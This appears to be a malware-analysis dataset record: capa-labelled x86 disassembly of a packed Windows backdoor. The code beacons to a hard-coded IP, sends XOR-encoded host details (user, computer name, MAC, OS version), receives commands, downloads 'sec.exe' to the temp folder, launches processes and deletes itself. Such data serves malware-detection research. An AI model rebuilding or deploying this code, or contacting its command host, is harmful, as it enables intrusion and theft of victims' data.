joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428bf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x419015
lea edi, [esi - 0x18015]
push edi
or ebp, 0xffffffff
jmp 0x428c12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x428c19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x428c08
mov eax, 1
add ebx, ebx
jne 0x428c2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x428c20
jne 0x428c3c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428c20
xor ecx, ecx
sub eax, 3
jb 0x428c50
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x428cc2
mov ebp, eax
add ebx, ebx
jne 0x428c5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428c68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428c8c
inc ecx
add ebx, ebx
jne 0x428c78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428c6d
jne 0x428c89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428c6d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428cac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428c9d
jmp 0x428c0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428cac
add edi, ecx
jmp 0x428c0e
pop esi
mov edi, esi
mov ecx, 0x47e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428cca
cmp byte [edi], 0xb
jne 0x428cca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x428ccf
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x428d3e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x29fc8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2a02c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x428cfc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2a030]
or eax, eax
je 0x428d38
mov dword [ebx], eax
add ebx, 4
jmp 0x428d19
call dword [esi + 0x2a034]
popal
jmp section.UPX0
Function at 0x401280
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ab8
call fcn.0040a960
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
movzx ecx, cx
mov dword [ebp - 0x3aa0], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3a9c], ecx
mov dword [ebp - 0x3a98], edx
mov dword [ebp - 0x3a94], eax
mov edi, edi
mov ecx, 0x3a34
cmp ebx, 0x3a34
ja 0x4012cf
mov ecx, ebx
sub ebx, ecx
mov esi, 0x1a2c
xor edi, edi
mov dword [ebp - 0x3a90], ecx
mov dword [ebp - 0x3ab0], ebx
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x3aa8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x4013af
mov ecx, dword [ebp - 0x3aa0]
lea edx, [ebp - 0x3a8c]
sub ecx, edx
mov dword [ebp - 0x3aac], ecx
mov edx, esi
shr edx, 8
mov dword [ebp - 0x3aa4], edx
mov ebx, eax
shr ebx, 0x18
mov edx, eax
shr edx, 0x10
and bl, dl
mov edx, esi
mov ecx, eax
shr ecx, 8
and bl, cl
mov dword [ebp - 0x3ab8], ecx
mov ecx, esi
mov esi, dword [ebp - 0x3aac]
shr ecx, 0x18
shr edx, 0x10
and cl, dl
mov dl, byte [ebp - 0x3aa4]
xor bl, cl
mov ecx, dword [ebp - 0x3aa8]
and dl, cl
xor bl, dl
lea edx, [ebp + edi - 0x3a8c]
xor bl, byte [esi + edx]
lea esi, [eax*4]
xor esi, eax
add esi, esi
xor esi, eax
xor bl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x3ab8]
shl esi, 0x14
or esi, dword [ebp - 0x3aa4]
inc edi
mov byte [edx], bl
mov dword [ebp - 0x3aa8], esi
mov eax, ecx
cmp edi, dword [ebp - 0x3ab4]
jl 0x401311
mov ecx, dword [ebp - 0x3a90]
mov ebx, dword [ebp - 0x3ab0]
add dword [ebp - 0x3aa0], ecx
add ecx, 0x10
movzx esi, cx
lea edi, [ebp - 0x3a9c]
test si, si
je 0x401407
mov ecx, dword [ebp + 8]
push 0
movzx eax, si
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x4013e1
add edi, eax
sub esi, eax
jmp 0x401402
cmp eax, 0xffffffff
jne 0x401402
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401420
cmp eax, 0x2744
je 0x401420
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test si, si
jne 0x4013c6
test ebx, ebx
jne 0x4012c0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x410f60]
push esi
push edi
push str.175.117.144.67
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401483
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x401541
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push ebx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4014f2
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
push 4
lea edx, [ebp - 0x24]
push edx
push 8
push 0xffff
mov edi, 1
push esi
mov dword [ebp - 0x24], edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x40153f
push eax
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 0x98000004
push esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], 0x2bf20
mov dword [ebp - 0x18], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x401560
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [str.ProductName]
mov eax, dword [ebp + 0xc]
mov edx, dword [0x40e270]
push edi
push 0x58
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x268], eax
mov eax, dword [0x40e274]
lea ecx, [ebp - 0x250]
push 0
push ecx
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], eax
call fcn.00406d50
mov edx, dword [str.CSDVersion]
mov eax, dword [0x40e27c]
mov cx, word [0x40e280]
push 0x59
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f8], edx
mov dl, byte [0x40e282]
lea eax, [ebp - 0x1ed]
push 0
push eax
mov word [ebp - 0x1f0], cx
mov byte [ebp - 0x1ee], dl
call fcn.00406d50
push 0x190
lea ecx, [ebp - 0x194]
push 0
push ecx
call fcn.00406d50
push 0x64
call fcn.00402d6f
add esp, 0x28
cmp byte [ebp + 8], 1
mov edi, eax
jne 0x4016e7
lea edx, [ebp - 0x260]
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4016e7
push ebx
push esi
xor ebx, ebx
mov edx, dword [ebp - 0x260]
mov eax, ebx
imul eax, eax, 0x64
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0
lea esi, [ebp + eax - 0x25c]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x264]
push eax
push edi
call fcn.004031af
mov ecx, dword [ebp - 0x264]
push ecx
push 0
push edi
call fcn.00406d50
mov eax, dword [ebp - 0x260]
add esp, 0x14
lea edx, [ebp - 0x264]
push edx
push edi
push 0
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4016bc
test ebx, ebx
jne 0x4016bc
mov ecx, dword [ebp - 0x268]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x4016ce
mov edx, dword [ebp - 0x268]
push 0x40e284
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc ebx
cmp ebx, 2
jl 0x401644
mov eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop edi
call fcn.00402ca2
mov esp, ebp
pop ebp
ret

Function at 0x401700
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.00406d50
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x40176f
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x40176f
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 2
mov eax, dword [ebp - 0x9c]
push ebx
jne 0x40178f
cmp eax, 5
je 0x40178b
cmp eax, 6
jne 0x40178f
mov bl, 1
jmp 0x401795
mov bl, byte [ebp - 0xa1]
mov ecx, dword [ebp - 0x98]
push ecx
push eax
push str._d._d
push edi
call fcn.00402cb1
mov ecx, dword [ebp - 4]
add esp, 0x10
mov al, bl
pop ebx
xor ecx, ebp
pop esi
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x4017c0
Capabilities:
Get hostname
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x104]
push ecx
mov ebx, 0x20141104
mov dword [ebp - 0x108], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x288
mov dword [ebp - 0x108], 0x288
call fcn.00402d6f
mov esi, eax
add esp, 4
test esi, esi
jne 0x401830
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea edx, [ebp - 0x108]
push edx
push esi
call edi
mov eax, dword [ebp - 0x108]
push eax
push esi
call fcn.004031af
add esp, 8
lea ecx, [ebp - 0x108]
mov esi, eax
push ecx
push esi
mov dword [ebp - 0x10c], esi
call edi
test eax, eax
je 0x40187a
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x401924
xor edi, edi
cmp dword [esi + 0x190], edi
jbe 0x4018e8
lea esp, [esp]
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018a0
sub eax, edx
cmp eax, 0xe6
ja 0x4018e8
movzx edx, byte [esi + edi + 0x194]
push edx
lea eax, [ebp + eax - 0x104]
push str._2.2X
push eax
call fcn.00402cb1
mov al, byte [esi + edi + 0x194]
add esp, 0xc
test al, al
je 0x4018df
movzx ecx, al
imul ebx, ecx
inc edi
cmp edi, dword [esi + 0x190]
jb 0x401890
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018f1
sub eax, edx
cmp eax, 0xe6
ja 0x401924
lea edx, [esi + 8]
push edx
lea eax, [ebp + eax - 0x104]
push 0x40e2a8
push eax
call fcn.00402cb1
mov esi, dword [esi]
add esp, 0xc
test esi, esi
jne 0x401882
mov ecx, dword [ebp - 0x10c]
push ecx
call fcn.00402d35
lea eax, [ebp - 0x104]
add esp, 4
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401940
sub eax, edx
push eax
lea edx, [ebp - 0x104]
push edx
mov edx, ebx
lea ecx, [ebp - 0x10c]
call fcn.004010a0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10c]
add esp, 8
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x401980
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x778
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push edi
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0xdc]
push ecx
mov dword [ebp - 0x774], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edi, [ebp - 0x74]
call fcn.00401700
mov byte [ebp - 0x770], al
mov eax, dword [ebp - 0x770]
mov edx, edi
push edx
push eax
call fcn.00401560
mov ecx, edi
push ecx
lea edx, [ebp - 0xdc]
push edx
lea eax, [ebp - 0x4bc]
push str._s__s
push eax
call fcn.00402cb1
lea eax, [ebp - 0x4bc]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4019f6
lea ecx, [ebp - 0x76c]
sub eax, edx
push ecx
inc eax
push 2
mov dword [ebp - 0x4c0], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401a4f
push 0xff
lea edx, [ebp - 0x5dc]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x401a49
lea eax, [ebp - 0x5dc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401a49
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
jmp 0x401a51
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
mov eax, 0x45e7b273
imul dword [0x410f64]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
push edx
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4d4], ecx
mov edx, ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.004010a0
call fcn.004017c0
mov edx, dword [ebp - 0x4c0]
lea ecx, [ebp - 0x4dc]
push ecx
mov ecx, dword [ebp + 8]
add edx, 0x20
push edx
push 0
push ecx
mov edx, eax
mov ecx, 0x9e2
mov dword [ebp - 0x4dc], eax
mov dword [0x411d08], eax
call fcn.00401280
mov ecx, dword [ebp - 8]
add esp, 0x18
xor ecx, ebp
pop edi
call fcn.00402ca2
mov esp, ebp
pop ebp
ret

Function at 0x401ae0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov esi, eax
test eax, eax
je 0x401b3a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 8]
push 0
push esi
push edi
push eax
call ebx
test eax, eax
jle 0x401b0b
add edi, eax
sub esi, eax
jmp 0x401b2c
cmp eax, 0xffffffff
jne 0x401b38
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401b38
cmp eax, 0x2744
je 0x401b38
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401af7
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401b40
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea edi, [ebp - 0x18]
mov esi, 0x10
lea ebx, [ebx]
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401b75
add edi, eax
sub esi, eax
jmp 0x401ba2
cmp eax, 0xffffffff
jne 0x401c6c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401c6c
cmp eax, 0x2744
je 0x401c6c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401b60
cmp dword [ebp - 0x18], 0x1055
je 0x401c3e
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x412110]
mov dword [esi*4 + 0x411d10], eax
test eax, eax
je 0x401c6c
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0xc], edx
cmp dword [ebp - 0xc], 0
jbe 0x401c32
mov esi, dword [esi*4 + 0x411d10]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.00401ae0
add esp, 8
test eax, eax
je 0x401c53
mov esi, dword [0x412110]
mov ecx, dword [esi*4 + 0x411d10]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401000
inc esi
mov dword [0x412110], esi
jmp 0x401b52
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x412110]
mov edx, dword [ecx*4 + 0x411d10]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x401da0
Capabilities:
Download url
Get common file path
Receive data
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp esi, ebx
je 0x401ed3
cmp edi, ebx
jne 0x401dcd
mov edi, str.sec.exe
lea eax, [ebp - 0x808]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401ed3
push ebx
push ebx
lea edx, [ebp - 0x80c]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x401ed3
push 0x400
lea eax, [ebp - 0x407]
push ebx
push eax
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x408], bl
call fcn.00406d50
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
lea ebx, [ebx]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
lea edx, [ebp - 0x810]
push edx
push 0x400
lea edx, [ebp - 0x408]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
push 0
lea ecx, [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
push edi
mov esi, eax
call ebx
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00406d50
add esp, 0xc
test esi, esi
js 0x401eba
cmp esi, 1
jne 0x401e60
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x401ed5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret

Function at 0x401ef0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x160]
push esi
push ecx
call fcn.00406d50
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x134], 0x101
mov word [ebp - 0x130], dx
mov edi, edi
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
jne 0x401f99
inc esi
cmp esi, 8
jl 0x401f70
cmp esi, 8
jne 0x401fb0
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x402770
Capabilities:
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41003c]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x101
xor edi, edi
mov esi, 0x2bf20
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402827
call fcn.00401440
mov ebx, eax
test ebx, ebx
jne 0x4027d0
cmp edi, 4
jge 0x4027c2
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4027a8
mov esi, 0xa4cb80
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4027a8
push ebx
call fcn.00401980
add esp, 4
call fcn.00401b40
test eax, eax
jne 0x4027f1
cmp edi, 4
jge 0x4027c2
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4027a8
push ebx
call fcn.004026e0
add esp, 4
push 0
push 0xa
lea ecx, [esp + 0x1a8]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x402818
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x410f64]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4027a8
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
Function at 0x402c00
Capabilities:
Accept command line arguments
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
lea eax, [ebp - 0x408]
push eax
mov eax, esi
call fcn.00401c80
mov ebx, dword [ebp - 0x408]
mov edi, eax
call fcn.00402840
push str._run
push esi
call fcn.00402e10
add esp, 0xc
test eax, eax
jne 0x402c8a
mov ecx, dword [edi]
push ecx
lea edx, [ebp - 0x404]
push str._c_del__q___s_____NUL
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call fcn.004028b0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push str.c:windows_system32cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402770
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402ca2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41003c]
jne 0x402cac
repz ret
jmp fcn.004037cb